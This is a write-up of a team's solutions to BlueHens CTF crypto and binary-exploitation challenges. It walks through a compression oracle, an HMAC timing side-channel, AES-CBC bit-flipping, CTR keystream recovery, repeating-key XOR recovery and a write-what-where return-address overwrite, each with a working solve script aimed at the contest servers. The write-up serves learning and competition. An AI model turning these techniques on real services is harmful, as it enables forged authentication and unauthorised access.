Last weekend I participated in BlueHens CTF as a SecFault member. We got 9th place out of almost 500 participating teams :)
Here’s a quick write-up on the challenges I was able to solve.
Just a day at the breach
- 65 solves
import os import json import zlib def lambda_handler(event, context): try: payload=bytes.fromhex(event["queryStringParameters"]["payload"]) flag = os.environ["flag"].encode() message = b"Your payload is: %b\nThe flag is: %b" % (payload, flag) compressed_length = len(zlib.compress(message,9)) except ValueError as e: return {'statusCode': 500, "error": str(e)} return { 'statusCode': 200, 'body': json.dumps({"sniffed": compressed_length}) }
It’s a little more crypto than web, but I know the exploit from a web defcon talk ages > ago. This is a common web exploit for network sniffers.
-ProfNinja
https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/?payload=00
There was indeed a talk at defcon I remember watching however it was more about VPN compression. OpenVPN used LZ4 and LZO which enabled some brute-force attacks.
The compression scheme used in those algorithms (LZSS) substitutes the previous occurances of the same bytes with a symbol reference which tells the decompressor how many bytes to copy from the past. It’s a very simplified explaination but once the attacker controls some part of the input compressed alongside the secret and has access to the compressed payload length, he can brute-force the secret byte by byte. The output length will not change (at least in theory) when the data added by attacker matches the secret. This is called Compression Oracle Attack.
I’m not gonna go into much detail, you can watch the talk and also try my LZSS demo I did for my university project to get better understanding of how this things work.
import requests
import time
import string
url = 'https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/'
alpha = string.ascii_lowercase + string.digits + '_}'
flag = 'udctf{'
sz_last = 67 # length of compressed response
while True:
for cchar in alpha:
r = requests.get(url, params={'payload': (flag+cchar).encode('utf-8').hex()})
print("status:", r.status_code)
c = r.content
print(flag+cchar)
lc = int(r.json().get('sniffed'))
print(lc)
if (lc == sz_last):
flag += cchar
break
time.sleep(0.1)
Oh Baby, A (Pythagorean) Triple!
- 24 solves
def dotp(v1,v2): return sum([i*j for (i, j) in zip(v1, v2)]) def mxv(mat,vec): return [dotp(mat[0], vec), dotp(mat[1], vec), dotp(mat[2],vec)] all={'A': [[1, -2, 2], [2, -1, 2], [2, -2, 3]], 'B': [[1, 2, 2], [2, 1, 2], [2, 2, 3]], 'C': [[-1, 2, 2], [-2, 1, 2], [-2, 2, 3]]} import random import hashlib from Crypto.Cipher import AES uni="ABC" key="" tmp=[3,4,5] for _ in range(3000): ktmp = uni[random.randint(0,2)] key += ktmp tmp = mxv(all[ktmp],tmp) assert(tmp[0]**2 + tmp[1]**2 == tmp[2]**2) print(tmp) flag = b"REDACTEDFLAG" IV = b"0123456789abcdef" cipher = AES.new(hashlib.sha256(key.encode()).digest(), AES.MODE_OFB, IV) ct = cipher.encrypt(flag) print(ct.hex())
I bet you never knew about the DNA of right triangles. Found it beautiful; wrote a problem.
-ProfNinja
https://gist.github.com/AndyNovo/747a027b87924e02202436668382630d
To decode the flag we need to know which matrices were used to multiply the original triangle at each step. I made inverted matrice dictionary (all_inv
) and a function that checks if the correct inverse matrix was used (is_tr_valid
).
import random
import hashlib
from Crypto.Cipher import AES
def dotp(v1, v2):
return sum([i*j for (i, j) in zip(v1, v2)])
def mxv(mat, vec):
return [dotp(mat[0], vec), dotp(mat[1], vec), dotp(mat[2], vec)]
def is_pyth(t):
return (t[0]**2 + t[1]**2) == t[2]**2
def is_tr_valid(t):
return t[0]>0 and t[1]>0 and t[2]>0
# Original matrices
all = {
'A': [[1, -2, 2], [2, -1, 2], [2, -2, 3]],
'B': [[1, 2, 2], [2, 1, 2], [2, 2, 3]],
'C': [[-1, 2, 2], [-2, 1, 2], [-2, 2, 3]]
}
all_inv = {
'A': [[1, 2, -2], [-2, -1, 2], [-2, -2, 3]],
'B': [[1, 2, -2], [2, 1, -2], [-2, -2, 3]],
'C': [[-1, -2, 2], [2, 1, -2], [-2, -2, 3]]
}
#print(all_inv)
def decrypt(tr):
ciphertext = ""
while tr != [3,4,5]:
for l in 'ABC':
new_tr = mxv(all_inv[l], tr)
if is_tr_valid(new_tr):
tr = new_tr
ciphertext += l
break
#print(tr)
ciphertext = ciphertext[::-1]
return ciphertext
# paste here this long list
tmp =
key = decrypt(tmp)
print("decrypted:", key)
ct = bytes.fromhex('12fe177086c2a9a2716f231ec183a37e036229e1ef9f2df1d0de05f5f3332f8d296002b994099bca')
IV = b"0123456789abcdef"
cipher = AES.new(hashlib.sha256(key.encode()).digest(), AES.MODE_OFB, IV)
ct = cipher.decrypt(ct)
print(ct)
HMAC
- 12 solves
There’s a secret message being HMAC-protected, but the implementation has a serious flaw. Can you recover the secret message using a side-channel attack?
import secrets import hmac import time # Compare two byte arrays. Take variable time depending on how many bytes are equal. def insecure_compare(a, b): if len(a) != len(b): return False for i in range(len(a)): if a[i] != b[i]: return False # Simulate time delay per byte comparison time.sleep(0.05) return True # Simulate the timing attack by measuring the time it takes to compare bytes of the MAC. def verify_hmac(user_hmac_hex): try: user_hmac = bytes.fromhex(user_hmac_hex) except ValueError: print("Invalid HMAC format. Please enter a hex string.") return False # Calculate the expected HMAC for the hidden flag message expected_hmac = hmac.new(key, flag, digestmod="sha1").digest() # Compare user-provided HMAC to the expected one with timing leak if insecure_compare(expected_hmac[:6], user_hmac[:6]): return True else: return False flag = b"UDCTF{REDACTED}" key = b"REDACTED" def main(): print("Can you recover the secret message using a side-channel attack?\n") s=input("Enter your McGuess (hex):\n>") answer = verify_hmac(s) print("Warning... this challenge might test your patience as well...") # Recover a valid tag if (answer): print("Here's the flag: %s" % (flag.decode())) exit() else: print("Nope.") exit() if __name__ == "__main__": main()
We need to exploit the timing attack made possible by the time.sleep(0.05)
in HMAC value comparison. If we get the correct byte the response in theory should be delayed by 50 ms.
In practice there were many variations due to network and server load so I had to use 16 samples to get the first byte (242
) with high degree of confidence. Recovering later values I used less samples since the requests were taking more time with each compared byte. This reduced fluctuations.
The HMAC was recovered by analyzing how much time each byte comparison took.
from pwn import *
import time
context.log_level = 'error'
restable = {}
SAMPLES = 1
for j in range(SAMPLES):
print('sleep', j)
time.sleep(10)
for i in range(256):
i = (i+(j*32))%256
conn = remote('0.cloud.chals.io', 11320)
try:
conn.recvuntil(b'>')
except:
print('skipping', i)
continue
hm = bytes([242, 25, 40, 253, 70, i])
hm += bytes(20-len(hm))
old = time.time()
conn.send(hm.hex().encode('utf-8')+b'\r\n')
ans = conn.recv()
print(i, ans)
elap = time.time()-old
#if elap > 0.15:
# print(i, elap)
restable[i] = round(restable.get(i, 0) + elap, 4)
conn.close()
#print(restable)
print(dict(sorted(restable.items(), key=lambda item: item[1])))
XS8: CBC Encrypted?
- 29 solves
#endpoint: https://vbbfgwcc6dnuzlawkslmxvlni40zkayu.lambda-url.us-east-1.on.aws/ import json import os import sys from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def lambda_handler(event, context): if ("queryStringParameters" in event) and ("token" in event["queryStringParameters"]): ct=bytes.fromhex(event["queryStringParameters"]["token"]) iv=bytes.fromhex(event["queryStringParameters"]["iv"]) cipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_CBC, iv=iv) pt = cipher.decrypt(ct) flag = os.environ["flag"] try: token = json.loads(pt) if (token['role'] == 'admin'): return { 'statusCode': 200, 'body': json.dumps({"flag": flag}) } else: return { 'statusCode': 401, 'body': json.dumps({"flag": "unauthorized"}) } except ValueError as e: return {'statusCode': 401, "error": str(e)} else: iv = os.urandom(16) cipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_CBC, iv=iv) pt=b'{"role":"guest","username":"johndoe","id":"123"}' ct = cipher.encrypt(pt) return { 'statusCode': 200, 'body': json.dumps({"token": ct.hex(), "iv": iv.hex()}) }
Classic bit flipping attack on the first block of AES CBC. I used the XOR method from ctfrecipes to obtain the IV.
import requests
# iv = xor(iv, b'{"role":"guest",', b'{"role":"admin",')
iv = b'\x18,\xfc\xdcq\x9f\x00\xa2\x90\xf0\xf3\xe1\xbfV/\x80'
token = bytes.fromhex('1555f2d23ea81da4e1b735a97f79d67f579a525290e71aa183a92aa7e00fbbc305b94e1e63c342278001ffcaf0344d7a')
url = 'https://vbbfgwcc6dnuzlawkslmxvlni40zkayu.lambda-url.us-east-1.on.aws/'
r = requests.get(url, params={'token': token.hex(), 'iv': iv.hex()})
#r = requests.get(url)
print(r.content, r.status_code)
print(r.json())
XS6: CTR Mode is just XOR
- 30 solves
#LIVE AT https://i8fgyps3o2.execute-api.us-east-1.amazonaws.com/default/ctrmode?pt=00 import json import os import sys from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad def lambda_handler(event, context): pt=bytes.fromhex(event["queryStringParameters"]["pt"]) padded = pad(pt, 16) probiv = os.environ["probiv"] flag = os.environ["flag"] padflag = pad(flag.encode(), 16) flagcipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_CTR, nonce=probiv.encode()) pct = flagcipher.encrypt(padflag) yourcipher = AES.new(os.environ["secretkey"].encode(), AES.MODE_ECB) try: encrypted = yourcipher.encrypt(padded) except ValueError as e: return {'statusCode': 500, "error": str(e)} return { 'statusCode': 200, 'body': json.dumps({"ciphertext": encrypted.hex(), "probiv": probiv.encode().hex(), "flagenc": pct.hex()}) }
Here the server encrypts our payload in ECB mode with the same key, used for encrypting the flag. We also get the IV in response json.
CTR mode works by XORing the keystream with plaintext so a bit like a stream cipher. In AES-CTR the keystream is produced by concatenating blocks of encrypted IV and Counter (AES-ECB(iv+counter)
). You can read more about it here.
We can ask the server to create the keystream. Here only 1 byte is used as a counter, the remaining 15 bytes are the IV.
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import json
import requests
def create_counter_block(iv, counter):
# increment last byte
return iv + bytes([counter])
def solve(url, iv_hex, flagenc_hex):
iv = bytes.fromhex(iv_hex)
flagenc = bytes.fromhex(flagenc_hex)
num_blocks = (len(flagenc) + 15) // 16
keystream = b''
for i in range(num_blocks):
counter_block = create_counter_block(iv, i)
print(f"counter at {i}:", counter_block)
response = requests.get(f"{url}?pt={counter_block.hex()}")
#print(response.status_code)
result = response.json()
print(f'block {i}:', result['ciphertext'])
# only take 16 bytes, rest is padding
keystream += bytes.fromhex(result['ciphertext'])[:16]
print(keystream)
flag = b''
for i in range(len(flagenc)):
flag += bytes([flagenc[i] ^ keystream[i]])
print(flag)
url = "https://i8fgyps3o2.execute-api.us-east-1.amazonaws.com/default/ctrmode"
response = requests.get(f"{url}?pt=00")
print(response.status_code, response.content)
result = response.json()
solve(url, result['probiv'], result['flagenc'])
XS2: Looper
- 78 solves
11010210041e125508065109073a11563b1d51163d16060e54550d19
We got this mysterious string and nothing else. Judging by the name of the challenge, the bytestring will be XORed with some repeating key (in a loop).
>>> from pwn import xor
>>> data = bytes.fromhex('11010210041e125508065109073a11563b1d51163d16060e54550d19')
>>> xor(data, b'udctf{')
b'deadbeg1kr7rr^r"]f$r^b`u!1nm'
Looking at the first 6 characters, the key could be: deadbeef
.
>>> xor(data, b'deadbeef')
b'udctf{w3lc0me_t0_x0r_sch00l}'
XS3: Roman Xor
- 48 solves
from pwn import * import os f=open("poems.txt","r") lngstr=f.read() f.close() lines = lngstr.split("\n") lines = list(filter(lambda x: len(x) > 30, lines)) import random winners = [random.choice(lines) for _ in range(10)] def simple(ltr): return ltr.isalpha() or ltr == " " pts = ["".join(filter(simple, x)).strip().lower() for x in winners] + ["udctf{placeholder_flag_here}"] key = os.urandom(100) cts = [xor(x.encode(),key[:len(x)]).hex() for x in pts] print(cts) d = [ '43794c9c8faa2cff24edc8afe507a13f62837c7e166f428cab5aff893225ff19104bc8754c1c09', '5d315e8786e62cf763e9d4afe80ca13b649a717e11615986b642f3952f76b71b0342c4', '46785a8bcae62aeb60a5deeef107a1256ed7792752695886ff50f5886171ff1717', '5d315e819fe621b966e08dfae906e43a78837b31162e5e8cff46e8953275f20a0d5ad23d4712144c', '557f4dce9ee220b967e4dfffe616e9216a9934291b7d5690bb45ba922e6afc', '55315a868fef35f16beac6afe810a1206a81717e1e6b5690b152ba953462ff0c424acd6e0307055a81b93590c1fe', '557d489dcafd2df870a5cfe0e816f268628334291b7a5fc2aa58f99f3276f616160fc27c5116', '557f4dce8bee21fc24f1c5eaa712ee3f6e853431142e448db216fb9e2b70e5110c48816b46011e5a', '407e099783ef29fd24edc4fca704f33d6283343f1c6a178ab645ba962464f1581147c0714f530350d5f53690dee6', '40785ace93e530b970edccfba711e0312b9e607e1c6143c2b616e3953425f317425bc9780317085ac5a6', '41754a9a8cf13da976dac4e1d810b1253f994b6f47514387b106e8a57175a40a0370d22c4d14084d9ea8' ]
To recover the 100 byte random key, we can first XOR the last bytestring with the known plaintext: udctf{
.
>>> from pwn import xor
>>> xor(bytes.fromhex(d[-1]), b'udctf{')[:6]
b'4\x11)\xee\xea\x8a'
Then we use this first 6 bytes of the key to uncover the strings since the same key was used for all of them.
>>> for i in d: xor(bytes.fromhex(i), b'4\x11)\xee\xea\x8a'+bytes(100))
...
b'where ,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x89'
b'i will,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]'
b"rise l*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*"
b'i woul!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF'
b'and th \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6'
b'a shee5\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10'
b'alas w-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v'
b'and ad!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16'
b'to yie)\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04'
b'tis yo0\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1ca'
b'udctf{=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQ'
To uncover next byte, we can XOR )
with l
(to get the word yield
in the 9th quote) since it’s the most probable character here. This gives E
which is probably the next byte of the key.
>>> for i in d: xor(bytes.fromhex(i), b'4\x11)\xee\xea\x8aE'+bytes(100))
...
b'where i\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892%\xff\x19\x10K\xc8uL\x1c\tCyL\x9c\x8f\xaa,\xff$\xed\xc8\xaf\xe5\x07\xa1?b\x83|~\x16oB\x8c\xabZ\xff\x892'
b'i willi\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1^\x87\x86\xe6,\xf7c\xe9\xd4\xaf\xe8\x0c\xa1;d\x9aq~\x11aY\x86\xb6B\xf3\x95/v\xb7\x1b\x03B\xc4]1'
b"rise lo\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb`\xa5\xde\xee\xf1\x07\xa1%n\xd7y'RiX\x86\xffP\xf5\x88aq\xff\x17\x17FxZ\x8b\xca\xe6*\xeb"
b'i would\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8\x952u\xf2\n\rZ\xd2=G\x12\x14L]1^\x81\x9f\xe6!\xb9f\xe0\x8d\xfa\xe9\x06\xe4:x\x83{1\x16.^\x8c\xffF\xe8'
b'and the\xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16\xe9!j\x994)\x1b}V\x90\xbbE\xba\x92.j\xfcU\x7fM\xce\x9e\xe2 \xb9g\xe4\xdf\xff\xe6\x16'
b'a sheep\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10\xa1 j\x81q~\x1ekV\x90\xb1R\xba\x954b\xff\x0cBJ\xcdn\x03\x07\x05Z\x81\xb95\x90\xc1\xfeU1Z\x86\x8f\xef5\xf1k\xea\xc6\xaf\xe8\x10\xa1'
b'alas wh\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6\x16\x16\x0f\xc2|Q\x16U}H\x9d\xca\xfd-\xf8p\xa5\xcf\xe0\xe8\x16\xf2hb\x834)\x1bz_\xc2\xaaX\xf9\x9f2v\xf6'
b'and add\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb\x9e+p\xe5\x11\x0cH\x81kF\x01\x1eZU\x7fM\xce\x8b\xee!\xfc$\xf1\xc5\xea\xa7\x12\xee?n\x8541\x14.D\x8d\xb2\x16\xfb'
b'to yiel\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04\xf3=b\x834?\x1cj\x17\x8a\xb6E\xba\x96$d\xf1X\x11G\xc0qOS\x03P\xd5\xf56\x90\xde\xe6@~\t\x97\x83\xef)\xfd$\xed\xc4\xfc\xa7\x04\xf3'
b'tis you\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC\xc2\xb6\x16\xe3\x954%\xf3\x17B[\xc9x\x03\x17\x08Z\xc5\xa6@xZ\xce\x93\xe50\xb9p\xed\xcc\xfb\xa7\x11\xe01+\x9e`~\x1caC'
b'udctf{x\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC\x87\xb1\x06\xe8\xa5qu\xa4\n\x03p\xd2,M\x14\x08M\x9e\xa8AuJ\x9a\x8c\xf1=\xa9v\xda\xc4\xe1\xd8\x10\xb1%?\x99KoGQC'
With some knowledge of english, the key can be recovered and the flag decrypted byte by byte.
XS4: Hexy
- 17 solves
In [1]: xor(flag + key + hashlib.sha256(flag).hexdigest().encode(), key).hex() Out[1]: '1a0c43191f5b15485d5a31574e4333141a5d073a0840541f560b515324001d00000c5315000e0a4e0452111618060654080154414b09165147791f1941041b07115816454b060b5e5a20094d135e101516425506420145544c18570d11541a4255125a5a5e5212470f050b5b425d1b434409034c5a19615c46465a424b151906041852415648415b5a44'
The flag is XORed with itself but shifted by some offset. At the end we have 64 hexadecimal characters of sha256(flag)
.
We can figure out how long is the flag+key
bytestring. The total length of ciphertext is 138
bytes so it will be 138 - 64 = 74
bytes.
+------+-------------------+-------------------+
| flag | key | hex(sha256(flag)) |
+------+-------------------+-------------------+
0 ? 74 138
+-----------------------+-------------------+
| key | hex(sha256(flag)) |
+-----------------------+-------------------+
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
--------------+-----------------------+------
key | key | key
--------------+-----------------------+------
We know the first 6 bytes of the plaintext so when XORing it with ciphertext we should get first 6 bytes of the key.
key[0:6] = ciphertext[0:6] ^ "udctf{" = "oh my "
To figure out how long the key is, we need to look for the hex pattern in the last 64 bytes of the message. The key needs to repeat itself since it’s fully contained within the plaintext.
>>> ciphertext
b'\x1a\x0cC\x19\x1f[\x15H]Z1WNC3\x14\x1a]\x07:\x08@T\x1fV\x0bQS$\x00\x1d\x00\x00\x0cS\x15\x00\x0e\nN\x04R\x11\x16\x18\x06\x06T\x08\x01TAK\t\x16QGy\x1f\x19A\x04\x1b\x07\x11X\x16EK\x06\x0b^Z \tM\x13^\x10\x15\x16BU\x06B\x01ETL\x18W\r\x11T\x1aBU\x12ZZ^R\x12G\x0f\x05\x0b[B]\x1bCD\t\x03LZ\x19a\\FFZBK\x15\x19\x06\x04\x18RAVHA[ZD'
>>> xor(ciphertext[90:], b'oh my ')
b"8e19cb:zz7'r}//hr{-5;.=)l$zt\x18|).z/25vn$u+a9 a6#d"
After checking and XORing different offsets, I got some hex at offset 90
so we can assume the key is 45
byte long. This would mean the flag has 74 - 45 = 29
bytes which is reasonable.
Now since we know the key in the plaintext starts at 29
so at this offset we have oh my
in our plaintext, we can just XOR it with the ciphertext to get 6
bytes at offset 29
of the key. We can then repeat this process to recover more bytes of the key.
+----------+
| key[29:] |-------\
+----------+ |
^
+-----------------+---------
| flag | key[:6]
+-----------------+---------
key[0:6] = ciphertext[0:6] ^ "udctf{" = "oh my "
key[29:35] = key[0:6] ^ ciphertext[29:35] = "ou mus"
key[58%len(key):+6] = key[15:21] = key[29:35] ^ ciphertext[58:64] = "plaint"
key[15:25] = "plaintext "
key[35:39] = "t be"
...
Repeating the steps above and with a bit of guess work, I was able to extract the key:
oh my a long plaintext key? You must be crazy
.
Key XORed with the ciphertext gives the flag:
udctf{th15_0n3_us3s_p4tt3rns}oh my a long plaintext key? You must be crazyf833efbb7cbb756a8e19cb42650527cdb568c7dbf5e9833f778a9da81372842d
Pure Write-What-Where PWN
- 67 solves
Here’s a vuln
function decompiled by Ghidra. It’s called directly from main
.
void vuln(void)
{
long in_FS_OFFSET;
undefined2 val;
int idx;
undefined2 buf [52];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
idx = 0;
val = 0;
puts("Welcome to PWN 102, Write-What-Where:\n");
__isoc99_scanf(&DAT_00102037,&idx);
__isoc99_scanf(&DAT_0010203a,&val);
buf[idx] = val;
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
The program allows to overwrite the return address past the stack with a user provided 2 byte value. The address of win
function in the pwnme
binary is 0x55555555533d
. Since it’s near our main function, it’s enough to just replace the last 2 bytes of the address.
(gdb) p *win
$1 = {<text variable, no debug info>} 0x55555555533d <win>
(gdb) p *main
$2 = {<text variable, no debug info>} 0x5555555551c9 <main>
After some trial and error I found offset 60
to store the lower portion of return address. We can overwrite it with 0x533d
to get the flag.
Note: due to ASLR this doesn’t always work so there’s a while loop in the exploit script
from pwn import *
context.log_level = "error"
while True:
try:
p = remote("0.cloud.chals.io", 16612)
p.sendline(b'60')
p.sendline(str(0x533d+8).encode())
p.sendline(b"cat flag.txt")
p.readline()
p.readline()
flag = p.readline()
if flag.startswith(b'udctf{'):
print(flag)
break
except:
pass